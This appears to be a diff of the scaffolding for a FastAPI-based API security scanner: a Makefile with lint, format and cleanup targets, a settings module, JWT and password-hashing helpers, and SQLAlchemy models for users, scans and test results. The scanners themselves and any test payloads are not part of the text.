@echo "\033[1;4;94mType Checking (mypy):\033[0m"
|
||||||
|
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Type check all code\033[0m"
|
||||||
|
@echo "\033[1;4;94mFormat:\033[0m"
|
||||||
|
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Format code\033[0m"
|
||||||
|
@echo ""
|
||||||
|
@echo "\033[1;4;92mUtilities:\033[0m"
|
||||||
|
@echo " \033[92mmake \033[36mclean\033[0m \033[94m- Remove all cache files\033[0m"
|
||||||
|
@echo " \033[92mmake \033[36mtree\033[0m \033[94m- Display the file tree\033[0m"
|
||||||
|
@echo " \033[92mmake \033[36mTODO\033[0m \033[94m- Find All TODO \033[0m"
|
||||||
|
@echo ""
|
||||||
|
@echo "\033[1;93mCurrent default domain: \033[1;5;95m$(DOMAIN)\033[0m"
|
||||||
|
@echo ""
|
||||||
|
@echo "\033[1;4;93mAvailable domains:\033[0m"
|
||||||
|
@echo " \033[91maccount\033[0m, \033[92mcommunity\033[0m, \033[93mcontent\033[0m, \033[94mfreemium\033[0m, \033[95mgames\033[0m,"
|
||||||
|
@echo " \033[96mmarketing\033[0m, \033[91mprogression\033[0m, \033[92mshop\033[0m, \033[93mtesting\033[0m, \033[94mtools\033[0m"
|
||||||
|
@echo ""
|
||||||
|
@echo "\033[95m ------------------------------"
|
||||||
|
@echo "\033[34m ⣿⣿⣿⡷⠊⡢⡹⣦⡑⢂⢕⢂⢕⢂⢕⢂⠕⠔⠌⠝⠛⠶⠶⢶⣦⣄⢂⢕⢂⢕"
|
||||||
|
@echo "\033[34m ⣿⣿⠏⣠⣾⣦⡐⢌⢿⣷⣦⣅⡑⠕⠡⠐⢿⠿⣛⠟⠛⠛⠛⠛⠡⢷⡈⢂⢕⢂"
|
||||||
|
@echo "\033[34m ⠟⣡⣾⣿⣿⣿⣿⣦⣑⠝⢿⣿⣿⣿⣿⣿⡵⢁⣤⣶⣶⣿⢿⢿⢿⡟⢻⣤⢑⢂"
|
||||||
|
@echo "\033[36m ⣾⣿⣿⡿⢟⣛⣻⣿⣿⣿⣦⣬⣙⣻⣿⣿⣷⣿⣿⢟⢝⢕⢕⢕⢕⢽⣿⣿⣷⣔"
|
||||||
|
@echo "\033[36m ⣿⣿⠵⠚⠉⢀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣗⢕⢕⢕⢕⢕⢕⣽⣿⣿⣿⣿"
|
||||||
|
@echo "\033[36m ⢷⣂⣠⣴⣾⡿⡿⡻⡻⣿⣿⣴⣿⣿⣿⣿⣿⣿⣷⣵⣵⣵⣷⣿⣿⣿⣿⣿⣿⡿"
|
||||||
|
@echo "\033[36m ⢌⠻⣿⡿⡫⡪⡪⡪⡪⣺⣿⣿⣿⣿⣿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃"
|
||||||
|
@echo "\033[32m ⠣⡁⠹⡪⡪⡪⡪⣪⣾⣿⣿⣿⣿⠋⠐⢉⢍⢄⢌⠻⣿⣿⣿⣿⣿⣿⣿⣿⠏⠈"
|
||||||
|
@echo "\033[32m ⡣⡘⢄⠙⣾⣾⣾⣿⣿⣿⣿⣿⣿⡀⢐⢕⢕⢕⢕⢕⡘⣿⣿⣿⣿⣿⣿⠏⠠⠈"
|
||||||
|
@echo "\033[32m ⠌⢊⢂⢣⠹⣿⣿⣿⣿⣿⣿⣿⣿⣧⢐⢕⢕⢕⢕⢕⢅⣿⣿⣿⣿⡿⢋⢜⠠⠈"
|
||||||
|
@echo "\033[95m ------------------------------"
|
||||||
|
@echo "\033[0m"
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
venv:
|
||||||
|
@echo "Creating and initializing virtual environment in .venv..."
|
||||||
|
@python3 -m venv .venv
|
||||||
|
|
||||||
|
# If you use bash, change @zsh
|
||||||
|
# can also run as just 'make'
|
||||||
|
dev:
|
||||||
|
@zsh -c "source .venv/bin/activate && exec zsh"
|
||||||
|
$(call ASCII)
|
||||||
|
|
||||||
|
# ==================== Setup ====================
|
||||||
|
install:
|
||||||
|
@echo "Installing development dependencies..."
|
||||||
|
pip install -e ".[dev]"
|
||||||
|
|
||||||
|
reinstall:
|
||||||
|
@echo "Reinstalling all dependencies (including upgrades)..."
|
||||||
|
pip install -e ".[dev]" --upgrade --upgrade-strategy eager
|
||||||
|
$(call ASCII)
|
||||||
|
|
||||||
|
|
||||||
|
# ==================== Syntax Checking (Ruff) ====================
|
||||||
|
check:
|
||||||
|
@echo "\033[1;3;4;96m======== Checking All Code ========\033[0m"
|
||||||
|
@ruff check .
|
||||||
|
$(call ASCII)
|
||||||
|
|
||||||
|
|
||||||
|
# ==================== Syntax Checking (Ruff) ====================
|
||||||
|
fix:
|
||||||
|
@echo "\033[1;3;4;96m======== ruff fix All Code ========\033[0m"
|
||||||
|
@ruff check . --fix
|
||||||
|
$(call ASCII)
|
||||||
|
|
||||||
|
|
||||||
|
# ======================= In Depth Linting (pylint)=======================
|
||||||
|
pylint:
|
||||||
|
@echo "\033[1;3;4;96m======== Linting All Code ========\033[0m"
|
||||||
|
@pylint .
|
||||||
|
$(call ASCII)
|
||||||
|
|
||||||
|
# ======================= Type Checking (mypy) =======================
|
||||||
|
mypy:
|
||||||
|
@echo "\033[1;3;4;96m======== Type Checking All Code ========\033[0m"
|
||||||
|
@mypy .
|
||||||
|
$(call ASCII)
|
||||||
|
|
||||||
|
|
||||||
|
# ======================== Yapf Format =============================
|
||||||
|
format:
|
||||||
|
@echo "\033[1;3;4;96m======== Formatting only qa/ ========\033[0m"
|
||||||
|
@yapf -i -r -vv models/ repositories/ schemas/ scanners/ core/ factory/
|
||||||
|
$(call ASCII)
|
||||||
|
|
||||||
|
# ==================== Utilities ====================
|
||||||
|
clean:
|
||||||
|
@echo "\033[1;3;4;96m======== Cleaning Cache Files ========\033[0m"
|
||||||
|
find . -type f -name "*.pyc" -delete
|
||||||
|
find . -type d -name "__pycache__" -delete
|
||||||
|
find . -type d -name ".pytest_cache" -exec rm -rf {} + 2>/dev/null || true
|
||||||
|
find . -type d -name ".mypy_cache" -exec rm -rf {} + 2>/dev/null || true
|
||||||
|
find . -type d -name ".ruff_cache" -exec rm -rf {} + 2>/dev/null || true
|
||||||
|
find . -type f -name ".coverage" -delete
|
||||||
|
$(call ASCII)
|
||||||
|
|
||||||
|
tree:
|
||||||
|
@echo "\033[1;3;4;96m======== Creating Tree ========\033[0m"
|
||||||
|
@tree -I 'node_modules|.git|*.log|dist|build|*.cache|certgames.egg-info|context|.venv|*.env|qa_context'
|
||||||
|
$(call ASCII)
|
||||||
|
|
||||||
|
TODO:
|
||||||
|
@echo "\033[1;3;4;96m======== Looking for TODO's ========\033[0m"
|
||||||
|
@find . -name "*.py" -print0 | xargs -0 pylint --disable=all --enable=W0511 --msg-template='{path}:{line}:{column}: {msg_id}: {msg} ({symbol})' || true
|
||||||
|
$(call ASCII)
|
||||||
|
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
API Security Scanner Backend Package
|
||||||
|
"""
|
||||||
|
|
@ -0,0 +1,103 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
All environment variables and constants are centralized here
|
||||||
|
"""
|
||||||
|
|
||||||
|
from functools import lru_cache
|
||||||
|
from pydantic_settings import BaseSettings, SettingsConfigDict
|
||||||
|
|
||||||
|
|
||||||
|
class Settings(BaseSettings):
|
||||||
|
"""
|
||||||
|
Application settings loaded from environment variables.
|
||||||
|
|
||||||
|
All magic numbers and configuration values are defined here to avoid
|
||||||
|
hardcoding throughout the application.
|
||||||
|
"""
|
||||||
|
|
||||||
|
model_config = SettingsConfigDict(
|
||||||
|
env_file="../.env", env_file_encoding="utf-8", case_sensitive=True
|
||||||
|
)
|
||||||
|
|
||||||
|
# Application metadata
|
||||||
|
APP_NAME: str = "API Security Tester"
|
||||||
|
VERSION: str = "1.0.0"
|
||||||
|
DEBUG: bool = False
|
||||||
|
|
||||||
|
# Database configuration
|
||||||
|
DATABASE_URL: str
|
||||||
|
POSTGRES_USER: str = "apiuser"
|
||||||
|
POSTGRES_PASSWORD: str = "apipass"
|
||||||
|
POSTGRES_DB: str = "apisecurity"
|
||||||
|
POSTGRES_HOST: str = "localhost"
|
||||||
|
POSTGRES_PORT: int = 5432
|
||||||
|
|
||||||
|
# Security - JWT
|
||||||
|
SECRET_KEY: str
|
||||||
|
ALGORITHM: str = "HS256"
|
||||||
|
ACCESS_TOKEN_EXPIRE_MINUTES: int = 1440 # 24 hours
|
||||||
|
|
||||||
|
# Backend server
|
||||||
|
BACKEND_HOST: str = "0.0.0.0"
|
||||||
|
BACKEND_PORT: int = 8000
|
||||||
|
|
||||||
|
# CORS origins (comma-separated string)
|
||||||
|
CORS_ORIGINS: str = "http://localhost:5173,http://localhost:3000"
|
||||||
|
|
||||||
|
# Scanner configuration - Default values
|
||||||
|
DEFAULT_MAX_REQUESTS: int = 100
|
||||||
|
DEFAULT_TIMEOUT_SECONDS: int = 10
|
||||||
|
DEFAULT_RETRY_COUNT: int = 3
|
||||||
|
|
||||||
|
# Scanner rate limiting (outgoing requests)
|
||||||
|
SCANNER_RATE_LIMIT_THRESHOLD: int = 100
|
||||||
|
SCANNER_RATE_LIMIT_WINDOW_SECONDS: int = 60
|
||||||
|
|
||||||
|
# API endpoint rate limiting (incoming requests - slowapi format)
|
||||||
|
API_RATE_LIMIT_LOGIN: str = "5/minute"
|
||||||
|
API_RATE_LIMIT_REGISTER: str = "3/minute"
|
||||||
|
API_RATE_LIMIT_SCAN: str = "10/minute"
|
||||||
|
API_RATE_LIMIT_DEFAULT: str = "100/minute"
|
||||||
|
|
||||||
|
# Pagination
|
||||||
|
DEFAULT_PAGINATION_LIMIT: int = 100
|
||||||
|
MAX_PAGINATION_LIMIT: int = 1000
|
||||||
|
|
||||||
|
# Field validation constants
|
||||||
|
PASSWORD_MIN_LENGTH: int = 8
|
||||||
|
PASSWORD_MAX_LENGTH: int = 100
|
||||||
|
EMAIL_MAX_LENGTH: int = 255
|
||||||
|
URL_MAX_LENGTH: int = 2048
|
||||||
|
|
||||||
|
# Scanner timeouts and limits
|
||||||
|
SCANNER_MAX_CONCURRENT_REQUESTS: int = 50
|
||||||
|
SCANNER_CONNECTION_TIMEOUT: int = 30
|
||||||
|
SCANNER_READ_TIMEOUT: int = 30
|
||||||
|
|
||||||
|
# Scanner request spacing and timing
|
||||||
|
DEFAULT_JITTER_MS: int = 100
|
||||||
|
DEFAULT_RETRY_WAIT_SECONDS: int = 60
|
||||||
|
DEFAULT_BASELINE_SAMPLES: int = 10
|
||||||
|
|
||||||
|
@property
|
||||||
|
def cors_origins_list(self) -> list[str]:
|
||||||
|
"""
|
||||||
|
Convert comma separated CORS origins string to list
|
||||||
|
"""
|
||||||
|
return [origin.strip() for origin in self.CORS_ORIGINS.split(",")]
|
||||||
|
|
||||||
|
|
||||||
|
@lru_cache
|
||||||
|
def get_settings() -> Settings:
|
||||||
|
"""
|
||||||
|
Get cached settings instance.
|
||||||
|
|
||||||
|
The @lru_cache decorator ensures settings are loaded only once
|
||||||
|
and cached for the application lifetime.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Settings: Application settings instance
|
||||||
|
"""
|
||||||
|
return Settings()
|
||||||
|
|
||||||
|
settings = get_settings()
|
||||||
|
|
@ -0,0 +1 @@
|
||||||
|
"""Core modules for application infrastructure"""
|
||||||
|
|
@ -0,0 +1,39 @@
|
||||||
|
"""
|
||||||
|
Database configuration and session management using SQLAlchemy.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from collections.abc import Generator
|
||||||
|
|
||||||
|
from sqlalchemy import create_engine
|
||||||
|
from sqlalchemy.orm import Session, sessionmaker
|
||||||
|
from sqlalchemy.ext.declarative import declarative_base
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
|
||||||
|
# Database engine
|
||||||
|
engine = create_engine(
|
||||||
|
settings.DATABASE_URL,
|
||||||
|
pool_pre_ping = True,
|
||||||
|
echo = settings.DEBUG,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Session factory
|
||||||
|
SessionLocal = sessionmaker(
|
||||||
|
autocommit = False,
|
||||||
|
autoflush = False,
|
||||||
|
bind = engine
|
||||||
|
)
|
||||||
|
|
||||||
|
# Base class
|
||||||
|
Base = declarative_base()
|
||||||
|
|
||||||
|
|
||||||
|
def get_db() -> Generator[Session, None, None]:
|
||||||
|
"""
|
||||||
|
FastAPI dependency for database sessions
|
||||||
|
"""
|
||||||
|
db = SessionLocal()
|
||||||
|
try:
|
||||||
|
yield db
|
||||||
|
finally:
|
||||||
|
db.close()
|
||||||
|
|
@ -0,0 +1,46 @@
|
||||||
|
"""
|
||||||
|
FastAPI dependency injection functions.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from fastapi import (
|
||||||
|
Depends,
|
||||||
|
HTTPException,
|
||||||
|
status,
|
||||||
|
)
|
||||||
|
from fastapi.security import (
|
||||||
|
HTTPAuthorizationCredentials,
|
||||||
|
HTTPBearer,
|
||||||
|
)
|
||||||
|
from .security import decode_token
|
||||||
|
|
||||||
|
|
||||||
|
# HTTP Bearer token authentication
|
||||||
|
security = HTTPBearer()
|
||||||
|
|
||||||
|
|
||||||
|
async def get_current_user(
|
||||||
|
credentials: HTTPAuthorizationCredentials = Depends(security),
|
||||||
|
) -> str:
|
||||||
|
"""
|
||||||
|
FastAPI dependency to extract and
|
||||||
|
verify the current authenticated user.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
payload = decode_token(credentials.credentials)
|
||||||
|
email: str | None = payload.get("sub")
|
||||||
|
|
||||||
|
if email is None:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code = status.HTTP_401_UNAUTHORIZED,
|
||||||
|
detail = "Invalid authentication credentials",
|
||||||
|
headers = {"WWW-Authenticate": "Bearer"},
|
||||||
|
)
|
||||||
|
|
||||||
|
return email
|
||||||
|
|
||||||
|
except ValueError:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code = status.HTTP_401_UNAUTHORIZED,
|
||||||
|
detail = "Invalid authentication credentials",
|
||||||
|
headers = {"WWW-Authenticate": "Bearer"},
|
||||||
|
) from None
|
||||||
|
|
@ -0,0 +1,35 @@
|
||||||
|
"""
|
||||||
|
Enum definitions for the application for type safety
|
||||||
|
"""
|
||||||
|
|
||||||
|
from enum import Enum
|
||||||
|
|
||||||
|
|
||||||
|
class ScanStatus(str, Enum):
|
||||||
|
"""
|
||||||
|
Enum for scan result status
|
||||||
|
"""
|
||||||
|
VULNERABLE = "vulnerable"
|
||||||
|
SAFE = "safe"
|
||||||
|
ERROR = "error"
|
||||||
|
|
||||||
|
|
||||||
|
class Severity(str, Enum):
|
||||||
|
"""
|
||||||
|
Enum for vulnerability severity levels
|
||||||
|
"""
|
||||||
|
CRITICAL = "critical"
|
||||||
|
HIGH = "high"
|
||||||
|
MEDIUM = "medium"
|
||||||
|
LOW = "low"
|
||||||
|
INFO = "info"
|
||||||
|
|
||||||
|
|
||||||
|
class TestType(str, Enum):
|
||||||
|
"""
|
||||||
|
Enum for available security test types
|
||||||
|
"""
|
||||||
|
RATE_LIMIT = "rate_limit"
|
||||||
|
AUTH = "auth"
|
||||||
|
SQLI = "sqli"
|
||||||
|
IDOR = "idor"
|
||||||
|
|
@ -0,0 +1,74 @@
|
||||||
|
"""
|
||||||
|
Security utilities for password hashing and JWT token management.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from datetime import (
|
||||||
|
datetime,
|
||||||
|
timedelta,
|
||||||
|
)
|
||||||
|
from jose import JWTError, jwt
|
||||||
|
from passlib.context import CryptContext
|
||||||
|
|
||||||
|
from config import settings
|
||||||
|
|
||||||
|
|
||||||
|
# Password hashing
|
||||||
|
pwd_context = CryptContext(schemes = ["bcrypt"], deprecated = "auto")
|
||||||
|
|
||||||
|
|
||||||
|
def hash_password(password: str) -> str:
|
||||||
|
"""
|
||||||
|
Hash a plain text password using bcrypt
|
||||||
|
"""
|
||||||
|
return pwd_context.hash(password)
|
||||||
|
|
||||||
|
|
||||||
|
def verify_password(
|
||||||
|
plain_password: str,
|
||||||
|
hashed_password: str
|
||||||
|
) -> bool:
|
||||||
|
"""
|
||||||
|
Verify a plain text password against a hashed password
|
||||||
|
"""
|
||||||
|
return pwd_context.verify(plain_password, hashed_password)
|
||||||
|
|
||||||
|
|
||||||
|
def create_access_token(
|
||||||
|
data: dict[str,
|
||||||
|
str],
|
||||||
|
expires_delta: timedelta | None = None
|
||||||
|
) -> str:
|
||||||
|
"""
|
||||||
|
Create a JWT access token
|
||||||
|
"""
|
||||||
|
to_encode = data.copy()
|
||||||
|
|
||||||
|
if expires_delta:
|
||||||
|
expire = datetime.utcnow() + expires_delta
|
||||||
|
else:
|
||||||
|
expire = datetime.utcnow() + timedelta(
|
||||||
|
minutes = settings.ACCESS_TOKEN_EXPIRE_MINUTES
|
||||||
|
)
|
||||||
|
|
||||||
|
to_encode.update({"exp": expire})
|
||||||
|
encoded_jwt = jwt.encode(
|
||||||
|
to_encode,
|
||||||
|
settings.SECRET_KEY,
|
||||||
|
algorithm = settings.ALGORITHM
|
||||||
|
)
|
||||||
|
return encoded_jwt
|
||||||
|
|
||||||
|
|
||||||
|
def decode_token(token: str) -> dict[str, str]:
|
||||||
|
"""
|
||||||
|
Decode and verify a JWT token
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
payload = jwt.decode(
|
||||||
|
token,
|
||||||
|
settings.SECRET_KEY,
|
||||||
|
algorithms = [settings.ALGORITHM]
|
||||||
|
)
|
||||||
|
return payload
|
||||||
|
except JWTError as e:
|
||||||
|
raise ValueError(f"Invalid token: {str(e)}") from e
|
||||||
|
|
@ -0,0 +1,77 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
FastAPI application factory for main.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
from fastapi import FastAPI
|
||||||
|
from fastapi.middleware.cors import CORSMiddleware
|
||||||
|
|
||||||
|
from slowapi import (
|
||||||
|
Limiter,
|
||||||
|
_rate_limit_exceeded_handler,
|
||||||
|
)
|
||||||
|
from slowapi.errors import RateLimitExceeded
|
||||||
|
from slowapi.util import get_remote_address
|
||||||
|
|
||||||
|
from .config import settings
|
||||||
|
from .core.database import Base, engine
|
||||||
|
from .routes import auth_router, scans_router
|
||||||
|
|
||||||
|
|
||||||
|
def create_app() -> FastAPI:
|
||||||
|
"""
|
||||||
|
Application factory function
|
||||||
|
"""
|
||||||
|
Base.metadata.create_all(bind=engine)
|
||||||
|
|
||||||
|
app = FastAPI(
|
||||||
|
title=settings.APP_NAME,
|
||||||
|
version=settings.VERSION,
|
||||||
|
docs_url="/api/docs",
|
||||||
|
redoc_url="/api/redoc",
|
||||||
|
debug=settings.DEBUG,
|
||||||
|
)
|
||||||
|
|
||||||
|
limiter = Limiter(key_func=get_remote_address)
|
||||||
|
app.state.limiter = limiter
|
||||||
|
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
|
||||||
|
|
||||||
|
app.add_middleware(
|
||||||
|
CORSMiddleware,
|
||||||
|
allow_origins=settings.cors_origins_list,
|
||||||
|
allow_credentials=True,
|
||||||
|
allow_methods=["*"],
|
||||||
|
allow_headers=["*"],
|
||||||
|
)
|
||||||
|
|
||||||
|
_register_routes(app)
|
||||||
|
|
||||||
|
return app
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def _register_routes(app: FastAPI) -> None:
|
||||||
|
"""
|
||||||
|
Register all application routes
|
||||||
|
"""
|
||||||
|
@app.get("/")
|
||||||
|
def root() -> dict[str, str]:
|
||||||
|
"""
|
||||||
|
API root endpoint
|
||||||
|
"""
|
||||||
|
return {
|
||||||
|
"app": settings.APP_NAME,
|
||||||
|
"version": settings.VERSION,
|
||||||
|
"status": "healthy",
|
||||||
|
}
|
||||||
|
|
||||||
|
@app.get("/health")
|
||||||
|
def health_check() -> dict[str, str]:
|
||||||
|
"""
|
||||||
|
Health check endpoint
|
||||||
|
"""
|
||||||
|
return {"status": "healthy"}
|
||||||
|
|
||||||
|
app.include_router(auth_router)
|
||||||
|
app.include_router(scans_router)
|
||||||
|
|
||||||
|
|
@ -0,0 +1,20 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
FastAPI application entry point
|
||||||
|
"""
|
||||||
|
|
||||||
|
import uvicorn
|
||||||
|
|
||||||
|
from .config import settings
|
||||||
|
from .factory import create_app
|
||||||
|
|
||||||
|
|
||||||
|
app = create_app()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
uvicorn.run(
|
||||||
|
"main:app",
|
||||||
|
host=settings.BACKEND_HOST,
|
||||||
|
port=settings.BACKEND_PORT,
|
||||||
|
reload=settings.DEBUG,
|
||||||
|
)
|
||||||
|
|
@ -0,0 +1,78 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
Base model class
|
||||||
|
Common fields and methods for all models
|
||||||
|
"""
|
||||||
|
|
||||||
|
from typing import Any
|
||||||
|
from sqlalchemy import (
|
||||||
|
Column,
|
||||||
|
DateTime,
|
||||||
|
Integer,
|
||||||
|
)
|
||||||
|
from datetime import datetime, UTC
|
||||||
|
from sqlalchemy.ext.declarative import declared_attr
|
||||||
|
|
||||||
|
from ..core.database import Base
|
||||||
|
|
||||||
|
|
||||||
|
class BaseModel(Base):
|
||||||
|
"""
|
||||||
|
Abstract base model with common fields and methods
|
||||||
|
All models inherit from this class
|
||||||
|
"""
|
||||||
|
__abstract__ = True
|
||||||
|
|
||||||
|
id = Column(
|
||||||
|
Integer,
|
||||||
|
primary_key = True,
|
||||||
|
index = True,
|
||||||
|
autoincrement = True
|
||||||
|
)
|
||||||
|
created_at = Column(
|
||||||
|
DateTime(timezone = True),
|
||||||
|
default = lambda: datetime.now(UTC)
|
||||||
|
)
|
||||||
|
updated_at = Column(
|
||||||
|
DateTime(timezone = True),
|
||||||
|
default = lambda: datetime.now(UTC),
|
||||||
|
onupdate = lambda: datetime.now(UTC),
|
||||||
|
)
|
||||||
|
|
||||||
|
@declared_attr
|
||||||
|
def __tablename__(cls) -> str:
|
||||||
|
"""
|
||||||
|
Auto-generate table name from class name
|
||||||
|
"""
|
||||||
|
return cls.__name__.lower()
|
||||||
|
|
||||||
|
def to_dict(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Convert model instance to dictionary
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict: Dictionary representation of the model
|
||||||
|
"""
|
||||||
|
return {
|
||||||
|
column.name: getattr(self,
|
||||||
|
column.name)
|
||||||
|
for column in self.__table__.columns
|
||||||
|
}
|
||||||
|
|
||||||
|
def update(self, **kwargs: Any) -> None:
|
||||||
|
"""
|
||||||
|
Update model fields from keyword arguments
|
||||||
|
|
||||||
|
Args:
|
||||||
|
**kwargs: Field names and values to update
|
||||||
|
"""
|
||||||
|
for key, value in kwargs.items():
|
||||||
|
if hasattr(self, key):
|
||||||
|
setattr(self, key, value)
|
||||||
|
self.updated_at = datetime.now(UTC)
|
||||||
|
|
||||||
|
def __repr__(self) -> str:
|
||||||
|
"""
|
||||||
|
String representation of model
|
||||||
|
"""
|
||||||
|
return f"<{self.__class__.__name__}(id={self.id})>"
|
||||||
|
|
@ -0,0 +1,83 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
Scan model for storing security scan metadata
|
||||||
|
"""
|
||||||
|
|
||||||
|
from datetime import (
|
||||||
|
UTC,
|
||||||
|
datetime,
|
||||||
|
)
|
||||||
|
from sqlalchemy import (
|
||||||
|
Column,
|
||||||
|
DateTime,
|
||||||
|
ForeignKey,
|
||||||
|
Integer,
|
||||||
|
String,
|
||||||
|
)
|
||||||
|
from sqlalchemy.orm import relationship
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
from .Base import BaseModel
|
||||||
|
|
||||||
|
|
||||||
|
class Scan(BaseModel):
|
||||||
|
"""
|
||||||
|
Stores metadata about scans performed on target URLs
|
||||||
|
"""
|
||||||
|
__tablename__ = "scans"
|
||||||
|
|
||||||
|
user_id = Column(
|
||||||
|
Integer,
|
||||||
|
ForeignKey("users.id",
|
||||||
|
ondelete = "CASCADE"),
|
||||||
|
nullable = False,
|
||||||
|
index = True,
|
||||||
|
)
|
||||||
|
target_url = Column(
|
||||||
|
String(settings.URL_MAX_LENGTH),
|
||||||
|
nullable = False,
|
||||||
|
)
|
||||||
|
scan_date = Column(
|
||||||
|
DateTime(timezone = True),
|
||||||
|
default = lambda: datetime.now(UTC),
|
||||||
|
nullable = False,
|
||||||
|
)
|
||||||
|
|
||||||
|
user = relationship("User", backref = "scans")
|
||||||
|
test_results = relationship(
|
||||||
|
"TestResult",
|
||||||
|
back_populates = "scan",
|
||||||
|
cascade = "all, delete-orphan",
|
||||||
|
)
|
||||||
|
|
||||||
|
def __repr__(self) -> str:
|
||||||
|
"""
|
||||||
|
String representation of Scan
|
||||||
|
"""
|
||||||
|
return f"<Scan(id={self.id}, target_url={self.target_url}, user_id={self.user_id})>"
|
||||||
|
|
||||||
|
@property
|
||||||
|
def has_vulnerabilities(self) -> bool:
|
||||||
|
"""
|
||||||
|
Check if scan found any vulnerabilities
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if any test result is vulnerable
|
||||||
|
"""
|
||||||
|
return any(
|
||||||
|
result.status == "vulnerable"
|
||||||
|
for result in self.test_results
|
||||||
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def vulnerability_count(self) -> int:
|
||||||
|
"""
|
||||||
|
Count of vulnerabilities found in this scan
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
int: Number of vulnerable test results
|
||||||
|
"""
|
||||||
|
return sum(
|
||||||
|
1 for result in self.test_results
|
||||||
|
if result.status == "vulnerable"
|
||||||
|
)
|
||||||
|
|
@ -0,0 +1,89 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
TestResult model for storing individual security test results
|
||||||
|
"""
|
||||||
|
|
||||||
|
from sqlalchemy import (
|
||||||
|
Column,
|
||||||
|
Enum,
|
||||||
|
ForeignKey,
|
||||||
|
Integer,
|
||||||
|
Text,
|
||||||
|
)
|
||||||
|
from sqlalchemy.orm import relationship
|
||||||
|
from sqlalchemy.dialects.postgresql import JSON
|
||||||
|
|
||||||
|
from ..core.enums import (
|
||||||
|
ScanStatus,
|
||||||
|
Severity,
|
||||||
|
TestType,
|
||||||
|
)
|
||||||
|
from .Base import BaseModel
|
||||||
|
|
||||||
|
|
||||||
|
class TestResult(BaseModel):
|
||||||
|
"""
|
||||||
|
Stores individual test results for each security scan
|
||||||
|
"""
|
||||||
|
__tablename__ = "test_results"
|
||||||
|
|
||||||
|
scan_id = Column(
|
||||||
|
Integer,
|
||||||
|
ForeignKey("scans.id",
|
||||||
|
ondelete = "CASCADE"),
|
||||||
|
nullable = False,
|
||||||
|
index = True,
|
||||||
|
)
|
||||||
|
test_name = Column(
|
||||||
|
Enum(TestType),
|
||||||
|
nullable = False,
|
||||||
|
index = True,
|
||||||
|
)
|
||||||
|
status = Column(
|
||||||
|
Enum(ScanStatus),
|
||||||
|
nullable = False,
|
||||||
|
index = True,
|
||||||
|
)
|
||||||
|
severity = Column(
|
||||||
|
Enum(Severity),
|
||||||
|
nullable = False,
|
||||||
|
index = True,
|
||||||
|
)
|
||||||
|
details = Column(Text, nullable = False)
|
||||||
|
evidence_json = Column(JSON, nullable = False, default = dict)
|
||||||
|
recommendations_json = Column(
|
||||||
|
JSON,
|
||||||
|
nullable = False,
|
||||||
|
default = list
|
||||||
|
)
|
||||||
|
|
||||||
|
scan = relationship("Scan", back_populates = "test_results")
|
||||||
|
|
||||||
|
def __repr__(self) -> str:
|
||||||
|
"""
|
||||||
|
String representation of TestResult
|
||||||
|
"""
|
||||||
|
return (
|
||||||
|
f"<TestResult(id={self.id}, test_name={self.test_name.value}, "
|
||||||
|
f"status={self.status.value})>"
|
||||||
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_vulnerable(self) -> bool:
|
||||||
|
"""
|
||||||
|
Check if this test result indicates a vulnerability
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if status is vulnerable
|
||||||
|
"""
|
||||||
|
return self.status == ScanStatus.VULNERABLE
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_high_severity(self) -> bool:
|
||||||
|
"""
|
||||||
|
Check if this is a high severity vulnerability
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if severity is high
|
||||||
|
"""
|
||||||
|
return self.severity == Severity.HIGH
|
||||||
|
|
@ -0,0 +1,45 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
User model for authentication and user management
|
||||||
|
"""
|
||||||
|
|
||||||
|
from sqlalchemy import (
|
||||||
|
Boolean,
|
||||||
|
Column,
|
||||||
|
String,
|
||||||
|
)
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
from .Base import BaseModel
|
||||||
|
|
||||||
|
|
||||||
|
class User(BaseModel):
|
||||||
|
"""
|
||||||
|
Stores authentication credentials and user information
|
||||||
|
"""
|
||||||
|
__tablename__ = "users"
|
||||||
|
|
||||||
|
email = Column(
|
||||||
|
String(settings.EMAIL_MAX_LENGTH),
|
||||||
|
unique = True,
|
||||||
|
nullable = False,
|
||||||
|
index = True,
|
||||||
|
)
|
||||||
|
hashed_password = Column(String, nullable = False)
|
||||||
|
is_active = Column(Boolean, default = True, nullable = False)
|
||||||
|
|
||||||
